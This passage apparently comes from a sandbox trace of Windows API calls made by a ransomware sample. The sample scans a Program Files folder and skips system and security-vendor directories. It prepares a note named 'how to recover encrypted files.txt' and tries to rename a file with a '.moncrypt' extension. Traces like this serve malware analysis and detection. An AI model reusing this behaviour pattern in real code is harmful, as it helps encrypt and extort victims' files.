ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@ꟌR企@\x18?T\x18\x81")) returned 0xffffffff [0046.793] GetLastError () returned 0x2 [0046.793] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0046.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@❌R企@\x18?T\x18\x88")) returned 0xffffffff [0046.793] GetLastError () returned 0x2 [0046.793] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0046.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@⑴R企@\x18?T\x18\x8f")) returned 0xffffffff [0046.794] GetLastError () returned 0x2 [0046.794] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0046.794] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@ꟌR企@\x18?T\x18\x97")) returned 0xffffffff [0046.794] GetLastError () returned 0x2 [0046.794] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0046.794] GlobalLock (hMem=0x440004) returned 0x552180 [0046.794] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.794] GlobalUnlock (hMem=0x440004) returned 0 [0046.794] GlobalLock (hMem=0x440004) returned 0x552180 [0046.794] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.794] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.794] GlobalUnlock (hMem=0x440004) returned 0 [0046.794] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.794] GlobalUnlock (hMem=0x44000c) returned 0 [0046.794] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.794] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0046.794] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.794] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0046.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0046.794] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.794] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.795] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0046.795] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.795] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0046.795] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0046.795] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.795] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.795] GlobalUnlock (hMem=0x44000c) returned 0 [0046.795] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.795] GlobalLock (hMem=0x440004) returned 0x554190 [0046.795] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.795] GlobalUnlock (hMem=0x44000c) returned 0 [0046.795] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.795] GlobalUnlock (hMem=0x440004) returned 0 [0046.795] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.795] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0046.795] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.795] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0046.795] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.795] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0046.795] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.795] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0046.795] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.795] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0046.795] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.795] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0046.795] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.795] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0046.796] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.796] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0046.796] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0046.796] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0046.796] GlobalLock (hMem=0x440004) returned 0x552180 [0046.796] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.796] GlobalUnlock (hMem=0x440004) returned 0 [0046.796] GlobalLock (hMem=0x440004) returned 0x552180 [0046.796] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.796] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.796] GlobalUnlock (hMem=0x440004) returned 0 [0046.796] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.796] GlobalUnlock (hMem=0x44000c) returned 0 [0046.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0046.796] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.796] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0046.796] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0046.796] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.796] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.796] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.796] GlobalUnlock (hMem=0x44000c) returned 0 [0046.796] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.796] GlobalLock (hMem=0x440004) returned 0x555198 [0046.796] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.796] GlobalUnlock (hMem=0x44000c) returned 0 [0046.796] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.796] GlobalUnlock (hMem=0x440004) returned 0 [0046.796] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.797] CharLowerBuffW (in: lpsz="oskmenubase.xml", cchLength=0xf | out: lpsz="oskmenubase.xml") returned 0xf [0046.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.797] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0046.797] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xmli", lpUsedDefaultChar=0x0) returned 4 [0046.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0046.798] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dc8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0046.798] CloseHandle (hObject=0x190) returned 1 [0046.799] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\я")) returned 1 [0046.799] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0x54e280 [0046.800] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.800] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.800] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", dwFileAttributes=0x20) returned 0 [0046.802] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.802] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.moncrypt")) returned 0 [0046.802] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0046.802] GetLastError () returned 0x12 [0046.802] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.802] GlobalLock (hMem=0x440004) returned 0x552180 [0046.802] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.803] GlobalUnlock (hMem=0x440004) returned 0 [0046.803] GlobalLock (hMem=0x440004) returned 0x552180 [0046.803] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.803] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.803] GlobalUnlock (hMem=0x440004) returned 0 [0046.803] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.803] GlobalUnlock (hMem=0x44000c) returned 0 [0046.803] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61da8, cbMultiByte=3, lpWideCharStr=0x18d758, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0046.803] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3d2c81e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3d2c81e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0046.803] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0046.803] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.803] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.803] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.803] GlobalUnlock (hMem=0x44000c) returned 0 [0046.803] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.803] GlobalLock (hMem=0x440004) returned 0x554190 [0046.803] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.803] GlobalUnlock (hMem=0x44000c) returned 0 [0046.803] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.803] GlobalUnlock (hMem=0x440004) returned 0 [0046.803] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, 